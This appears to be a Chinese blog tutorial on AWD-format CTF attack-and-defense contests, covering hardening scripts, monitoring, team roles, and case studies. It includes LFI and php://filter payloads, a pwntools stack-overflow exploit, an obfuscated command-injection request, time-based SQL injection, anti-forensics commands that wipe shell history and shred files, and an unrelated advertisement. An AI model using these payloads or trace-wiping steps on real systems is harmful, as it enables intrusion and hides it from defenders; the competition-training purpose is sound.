1. AWD竞赛的本质与核心挑战
AWD(Attack With Defense)模式是CTF竞赛中最具实战性的赛制之一,它模拟了真实网络攻防对抗场景。与传统的解题赛(Jeopardy)不同,AWD要求参赛队伍在同一时间内完成攻防双重任务:既要保护自己的服务不被攻陷,又要攻击对手服务获取flag。这种模式对参赛者的综合能力提出了极高要求。
我曾带队参加过多次国内外大型AWD赛事,深刻体会到这种赛制的残酷性。比赛通常采用"零和博弈"计分规则:每轮提交的flag会转化为己方分数,同时从被攻击队伍扣除相应分数。这意味着单纯的防守无法取胜,必须攻守兼备。
典型AWD环境架构通常包含以下要素:
- 每支队伍分配相同的基础Docker容器(通常包含Web服务、二进制程序等)
- 每个容器内运行着存在漏洞的服务程序
- 每3-5分钟刷新一次flag(通常位于/flag或类似路径)
- 通过提交对手的flag获取积分
- 服务可用性检查(check机制)确保基础功能正常
关键经验:新手常犯的错误是开局就盲目攻击。实际上前10分钟应该优先完成服务加固,否则极易被其他队伍"秒杀"。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 赛前准备:打造高效攻防体系
2.1 基础工具链配置
成熟的AWD战队通常会准备模块化的工具包。以下是我们团队经过多次实战验证的工具清单:
防御工具集:
- 文件监控:Tripwire + 自定义脚本(实时监控关键目录)
- 进程守护:Supervisor(关键服务崩溃后自动重启)
- 流量分析:Tcpdump + Wireshark(捕获攻击payload)
- 日志审计:ELK Stack(集中分析攻击行为)
攻击工具集:
- 漏洞利用:Metasploit Framework(预加载常见exp)
- 爆破工具:Hydra(SSH/FTP等协议爆破)
- Web扫描:Burp Suite Pro(自动化漏洞检测)
- 代理工具:Nginx(流量转发和负载均衡)
bash复制# 典型防御部署脚本示例
#!/bin/bash
# 监控flag文件变化
inotifywait -m -e modify /flag | while read path action file; do
echo "[!] Flag文件被修改!立即回滚..."
cp /flag_backup /flag
chmod 600 /flag
done
2.2 团队分工与协作机制
高效的团队协作是AWD取胜的关键。我们采用"三线作战"模式:
-
防御组(1-2人):
- 服务加固(权限控制、危险函数禁用)
- 实时监控(文件、进程、网络)
- 漏洞修复(快速patch已知漏洞)
-
攻击组(2-3人):
- 漏洞挖掘(代码审计、Fuzz测试)
- 攻击脚本编写(自动化提交flag)
- 对抗check机制(保证服务可用)
-
情报组(1人):
- 流量分析(识别攻击来源)
- 分数监控(追踪对手状态)
- 战术决策(调整攻防策略)
血泪教训:在某次华东区比赛中,我们因未分配专人监控check服务,导致虽然拿到大量flag却因服务宕机被倒扣分,最终排名暴跌。
3. 防御体系构建实战
3.1 服务加固黄金五分钟
比赛开始后的前五分钟是防御的关键窗口期。必须按优先级完成以下操作:
-
权限控制:
bash复制# 限制flag访问权限 chmod 600 /flag chattr +i /flag # 防止被删除 # 关键目录保护 chmod -R 750 /var/www/html find /var/www/html -type f -exec chmod 640 {} \; -
危险函数禁用(PHP场景):
ini复制; php.ini配置 disable_functions = exec,passthru,shell_exec,system,proc_open,popen -
服务降权:
bash复制# 以低权限用户运行服务 useradd -M -s /sbin/nologin awduser chown -R awduser:awduser /var/www/html
3.2 实时监控系统搭建
基础文件监控远远不够,成熟的防御体系需要多层监控:
动态防御矩阵:
-
文件完整性校验:
python复制# 文件哈希监控脚本 import hashlib baseline = {} for root, _, files in os.walk('/var/www'): for f in files: path = os.path.join(root, f) with open(path, 'rb') as fp: baseline[path] = hashlib.md5(fp.read()).hexdigest() while True: for path, orig_md5 in baseline.items(): with open(path, 'rb') as fp: if hashlib.md5(fp.read()).hexdigest() != orig_md5: os.system(f"cp /backup/{path.split('/')[-1]} {path}") -
恶意进程检测:
bash复制# 检测异常进程 watch -n 3 'ps aux | grep -E "(wget|curl|nc|socat|sh -i)"' -
网络异常连接报警:
bash复制tcpdump -i eth0 -nn 'dst port not 80 and dst port not 22' -l | grep --line-buffered -v "127.0.0.1"
4. 攻击战术深度解析
4.1 快速漏洞挖掘技巧
在高压的AWD环境中,必须采用高效的漏洞挖掘方法:
代码审计速查表:
- 文件包含:
php复制include($_GET['page'].".php"); // 典型漏洞点 - 命令注入:
python复制os.system("ping -c 4 " + ip) # 未过滤输入 - 反序列化:
java复制ObjectInputStream in = new ObjectInputStream(request.getInputStream()); Object obj = in.readObject(); // 危险操作
自动化Fuzz技巧:
bash复制# 使用wfuzz快速测试参数
wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt --hc 404 http://target/FUZZ
# SQL注入快速检测
sqlmap -u "http://target/page?id=1" --batch --random-agent --level 3
4.2 攻击脚本自动化
成熟的攻击流程必须实现自动化。以下是我们的flag提交脚本示例:
python复制import requests
import re
from multiprocessing import Pool
def submit_flag(flag):
headers = {'Content-Type': 'application/json'}
data = {'flag': flag, 'token': 'team_token'}
try:
r = requests.post('http://game-server/submit',
json=data, headers=headers, timeout=3)
return r.status_code == 200
except:
return False
def exploit(target):
# 这里放置具体的漏洞利用代码
flag = re.search(r'flag\{.*?\}', response.text).group(0)
return flag
if __name__ == '__main__':
targets = ['192.168.1.%d' % i for i in range(1, 20)]
with Pool(8) as p:
flags = filter(None, p.map(exploit, targets))
results = p.map(submit_flag, flags)
print(f"成功提交 {sum(results)} 个flag")
5. 经典攻防案例复盘
5.1 Web服务攻防战
在某次省赛中出现过一个典型场景:目标是一个PHP文件管理系统,我们通过以下步骤实现攻防:
攻击路径:
- 发现未过滤的file参数:
code复制http://target/index.php?file=../../../../etc/passwd - 利用LFI获取配置文件:
code复制php://filter/convert.base64-encode/resource=config.php - 从配置文件中提取数据库凭证
- 通过SQL注入获取管理员session
- 上传Webshell获取flag
防御对策:
php复制// 修复方案
$allowed = ['home.php', 'about.php'];
if(!in_array($_GET['file'], $allowed)) {
die('Access Denied!');
}
5.2 二进制程序对抗
在另一场比赛中,我们遇到一个存在栈溢出的ELF程序:
漏洞利用:
python复制from pwn import *
context.arch = 'amd64'
elf = ELF('./pwn')
payload = flat(
b'A'*72,
elf.symbols['get_flag']
)
io = remote('target', 9999)
io.sendlineafter('Input:', payload)
flag = io.recvall()
防御方案:
bash复制# 禁用核心转储
ulimit -c 0
# 启用ASLR
echo 2 > /proc/sys/kernel/randomize_va_space
# 使用seccomp限制系统调用
gcc -lseccomp -o pwn_protected pwn.c
6. 高阶战术与反制措施
6.1 对抗流量分析
当对手部署了WAF或流量监控时,需要采用混淆技术:
HTTP请求混淆:
python复制import requests
from urllib.parse import quote
payload = 'cat /flag'
obfuscated = ''.join(['\\x{:02x}'.format(ord(c)) for c in payload])
requests.get(
f"http://target/?cmd=${{printf%20{quote(obfuscated)}}}"
)
时间盲注优化:
sql复制SELECT IF(ASCII(SUBSTR(database(),1,1))>100,
BENCHMARK(10000000,MD5(NOW())),
1)
6.2 反蜜罐识别
比赛中常会设置蜜罐服务,识别技巧包括:
- 响应时间异常(故意延迟)
- 异常错误信息(与标准服务不一致)
- 端口服务不匹配(如80端口运行SSH服务)
- 高交互特征(如输入检测到扫描立即断开)
识别脚本示例:
python复制def is_honeypot(ip):
try:
# 检测响应时间
start = time.time()
requests.get(f'http://{ip}', timeout=2)
resp_time = time.time() - start
# 检测异常banner
banner = socket.getservbyport(80)
return resp_time > 1.5 or banner != 'http'
except:
return False
7. 赛事后期策略调整
当比赛进入最后阶段,战术需要相应调整:
最后1小时策略:
- 防御优先:停止非必要攻击,确保服务稳定
- 重点监控:增加check频率(每30秒一次)
- 保留实力:停止对强队的攻击,专注弱队
- 陷阱部署:在web目录放置假flag文件
终场前10分钟:
bash复制# 全量备份关键数据
tar czf /tmp/backup.tar.gz /var/www /etc
nc -lvp 4444 < /tmp/backup.tar.gz
# 清除攻击痕迹
history -c
rm -rf ~/.bash_history
find /tmp -type f -exec shred -zu {} \;
经过多次实战验证,这套攻防体系能帮助团队在AWD比赛中保持竞争力。最重要的经验是:前期建立完善的监控体系比盲目攻击更重要,90%的失分都源于基础防御不到位。建议新手从防御做起,逐步发展攻击能力,最终形成完整的攻防闭环。
